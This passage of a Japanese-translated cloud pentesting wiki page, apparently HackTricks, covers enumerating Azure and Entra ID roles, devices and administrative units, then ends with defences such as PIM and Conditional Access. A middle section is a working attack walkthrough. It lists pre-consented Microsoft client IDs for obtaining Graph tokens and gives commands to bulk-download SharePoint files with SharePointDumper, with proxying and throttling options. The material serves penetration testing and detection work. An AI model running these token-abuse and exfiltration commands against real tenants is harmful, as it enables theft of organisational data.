Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get deny assignments
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#tab name="Raw" }}
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}

### Entra ID ロール

Azure ロールの詳細については以下を参照してください：

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}

### デバイス

{{#tabs }}
{{#tab name="az cli" }}
```bash
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All

# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *

# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All

# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> デバイス（VM）が **AzureAD joined** の場合、AzureAD のユーザーは **ログイン可能** です。\
> さらに、ログインしているユーザーがデバイスの **Owner** であれば、そのユーザーは **local admin** になります。

### 管理単位

管理単位の詳細については以下を参照してください：

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}

{{#tab name="AzureAD" }}
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}

## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)

攻撃者は、**delegated Microsoft Graph token** に **`Sites.Read.All`** または **`Sites.ReadWrite.All`** が含まれている場合、Graph 上で **sites/drives/items** を列挙し、その後 **SharePoint pre-authentication download URLs**（access token を埋め込んだ時間制限付きの URL）経由でファイル内容を取得できます。[SharePointDumper](https://github.com/zh54321/SharePointDumper) スクリプトはフロー全体（列挙 → pre-auth ダウンロード）を自動化し、検出テスト用にリクエストごとのテレメトリを出力します。

### 利用可能な委任トークンの取得

- SharePointDumper 自体は **認証を行わない**。access token（任意で refresh token）を供給してください。
- 事前に同意された **first-party clients** は、アプリを登録せずに Graph token を発行させる目的で悪用できます。例：`Invoke-Auth`（[EntraTokenAid](https://github.com/zh54321/EntraTokenAid) から）の呼び出し:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE クライアントはデバイス間でのリフレッシュをサポートします。FOCI FALSE クライアントは、reply URL origin validation を満たすためにしばしば `-Origin` を必要とします。

### SharePointDumper を使った enumeration + exfiltration の実行

- カスタム UA / proxy / throttling を指定した Basic dump:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- スコープ制御: サイトや拡張機能の包含/除外、およびグローバル制限:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **再開** 中断された実行（再列挙しますが、ダウンロード済みの項目はスキップします）:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **HTTP 401でのAutomatic token refresh** (EntraTokenAidを読み込む必要があります):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
操作メモ:

- 実行中の期限切れを避けるため、**CAE-enabled** トークンを優先使用します。リフレッシュ試行はツールの API ログに**記録されません**。
- **Graph + SharePoint** 用の **CSV/JSON request logs** を生成し、組み込みの SharePoint ダウンロードトークンをデフォルトでマスク（切替可能）。
- 検出／IR テスト中のトラフィック調整のため、**custom User-Agent**、**HTTP proxy**、**per-request delay + jitter**、および **Ctrl+C-safe shutdown** をサポート。

## Entra ID Privilege Escalation

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## Azure Privilege Escalation

{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}

## Defensive Mechanisms

### Privileged Identity Management (PIM)

Privileged Identity Management (PIM) は Azure で、ユーザーに不必要な過剰な権限が割り当てられるのを**防ぐ**のに役立ちます。

PIM の主な機能の一つは、常時アクティブな主体にロールを割り当てるのではなく、一定期間（例: e.g. 6months）**eligible** にすることができる点です。ユーザーがそのロールを有効化したい場合、必要な期間（例: e.g. 3 hours）を指定して申請し、**管理者が承認**する必要があります。\
ユーザーは有効期間を**延長**することもできます。

さらに、特権ロールが誰かに割り当てられるたびに、**PIM はメールを送信します**。

<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>

PIM が有効な場合、各ロールに対して次のような要件を設定できます:

- 最大有効化期間 (hours)
- 有効化時に MFA を要求
- 有効化時に Conditional Access authentication context を要求
- 有効化時に justification を要求
- 有効化時にチケット情報を要求
- 有効化するには承認を要求
- eligible 割り当てが期限切れになるまでの最大時間
- そのロールで特定の操作が発生したときにいつ誰に通知を送るか等、さらに多くの設定

### Conditional Access Policies

Check:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}

### Entra Identity Protection

Entra Identity Protection は、ユーザーやサインインが受け入れられるにはリスクが高すぎるかどうかを**検出**し、ユーザーまたはサインイン試行を**ブロック**できるセキュリティサービスです。

管理者はリスクが「Low and above」「Medium and above」「High」のいずれかのレベルで試行を**ブロック**するように設定できます。ただし、デフォルトでは完全に**無効**です。

<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> 現在では、同じオプションを設定できる Conditional Access policies を通じてこれらの制限を追加することが推奨されています。

### Entra Password Protection

Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、複数のログイン失敗が発生した際にアカウントをロックアウトすることで、弱いパスワードの悪用を**防ぐ**セキュリティ機能です。\
また、提供するカスタムパスワードリストを**禁止 (ban)** することもできます。

クラウドレベルおよびオンプレミスの Active Directory の両方に**適用可能**です。

デフォルトモードは**Audit**です:

<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>

## References

- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)

{{#include ../../../banners/hacktricks-training.md}}
